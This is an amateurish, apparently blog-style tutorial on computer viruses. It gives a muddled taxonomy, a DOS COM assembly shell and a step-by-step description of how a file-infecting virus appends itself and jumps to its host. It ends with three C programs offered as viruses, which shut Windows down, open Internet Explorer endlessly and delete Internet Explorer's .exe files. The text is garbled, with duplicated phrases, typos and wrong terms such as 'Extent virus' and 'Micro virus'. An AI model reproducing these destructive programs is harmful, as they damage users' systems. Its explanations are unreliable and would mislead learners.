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Computer virus are the small software 
program, that are designed to  copy it self and 
spread from one computer to another  and spread from one computer to another  and 
infect the files (some times infect the hole hard 
dick  also) of the computer .



On the starting period when the computer was a 
very complex machine , the virus designed were not 
inheritable destructive , they just copy  itself and inheritable destructive , they just copy  itself and 
spread out in hole computer . So the  Scientific name 
of the virus was “Self reproducing automaton “

(or SRA)  



There are three types of virus :

1. Extent virus 

2. Application-specific virus

3. Boot sector virus 

This is the first and most common virus which This is the first and most common virus which 
attacks only on that file for which the virus has been 
designed . These virus always attach to extent of the file ,
Now what is extent 

Extent is a code which express some nature of the 
file . For example   “True.TXT “ here True is the file name 
and TXT is  extent TXT indicate that file is a text file 

Under DOS there are three extent executed by CPU 
COM, EXE or SYS     



This type of virus seeks to attach itself to a specific 
file, rather than attacking any file of a given type, that is 
why it is called application specific virus . These virus hide 
in a data area  if a specific file , but for this the must know 
that where the data area is located in the disk . These  virus 
do not  copy them self till the user do that .

This virus is so similar to application specific virus 

because it also attack on a specific location of computer’s 
dick drive which is known as the boot sector .
Now what is a boot sector ?

Boot sector is the first thing which computer lode 
into memory from disk and executes when it turn on .
By attacking this area of the disk virus gain control on the 

computer immediately  



Micro virus :
Micro virus is a peace of code that can be embedded in a data 

file (Documental file )

Worms :
Worms are very similar to viruses in that they are computer Worms are very similar to viruses in that they are computer 

programs that replicate functional copies of themselves  that will 
interfere with the normal use of a computer or a program. Unlike 
viruses, however, worms exist as separate entities; they do not attach 
themselves to other files or programs.

Trojan :
A virus is a particular case of a Trojan horse, namely, one which is 

able to spread to other programs  Trojan are simple programs, through the 
hacker can control over others system. 



;Assembly language shell for a simple COM file program
MAIN          SEGMENT   BYTE

ASSUME       CS:MAIN,DS:MAIN,SS:NOTHING
ORG              100H

START:
FINISH:         mov ah,4CH

mov al,0
int 21H                         ;terminate normally with DOS

MAIN             ENDS
END              STARTEND              START

A virus program is written in high level language  or assembly 
language only . The are some basic code for written computer virus 
which  will be explain on the next part  with programming 
…………………….  





On above image the actual working of a computer virus to search file and 
infect is  shown .

First the setup search of the infectable file if file dose not found then it 
exit with no file found if it found a file the it check for the  file is infectable or 
not if yes the it exit with file found and if not  then it go for search for next file 
and the process go on till all the files dose not found  

Mechanism of infecting a file :



1. An infected file is loaded into memory and executed. The viral code gets 
control first.

2. The virus in memory searches the disk to find a suitable file to infect.
3. If a suitable file is found, the virus appends its own code to the end of the file.
4. Next the virus in memory writes a jump instruction to the beginning of the file           
it is infecting .
5. Then the virus in memory takes the bytes which were originally the first bytes  
in its host, and puts them back   (at offset 100H).
6. Finally, the viral code jumps to offset 100 Hex and allows its host program to    
execute.

(100H is use to begin the program)(100H is use to begin the program)



1.  Virus program which shutdown the window operating system .

#include<stdio.h>
#include<dos.h>
int main (void)
{

system("shutdown -s");
return 0;

}

2.  A virus program created such that when we will click on its .exe file then it will 2.  A virus program created such that when we will click on its .exe file then it will 
open internet explorer at infinite times

#include<stdio.h>
#include<dos.h>

int main (void)
{

for(; ;){  
system("c:\\progra~1\\intern~1\\iexplore.exe");

}
return 0;
}



3. A Virus program which delete the all the .exe file of internet explorer so that 
internet explorer will not work.

#include<stdio.h>
#include<dos.h>

int main(void)
{
system("cd c:\\progra~1\\intern~1");system("cd c:\\progra~1\\intern~1");
system("del *.exe");
system("cls");
return 0;
}



This was my lil’ contribution to ur enormous knowledge bank

Now you have to wait for the next episode …..!!!!


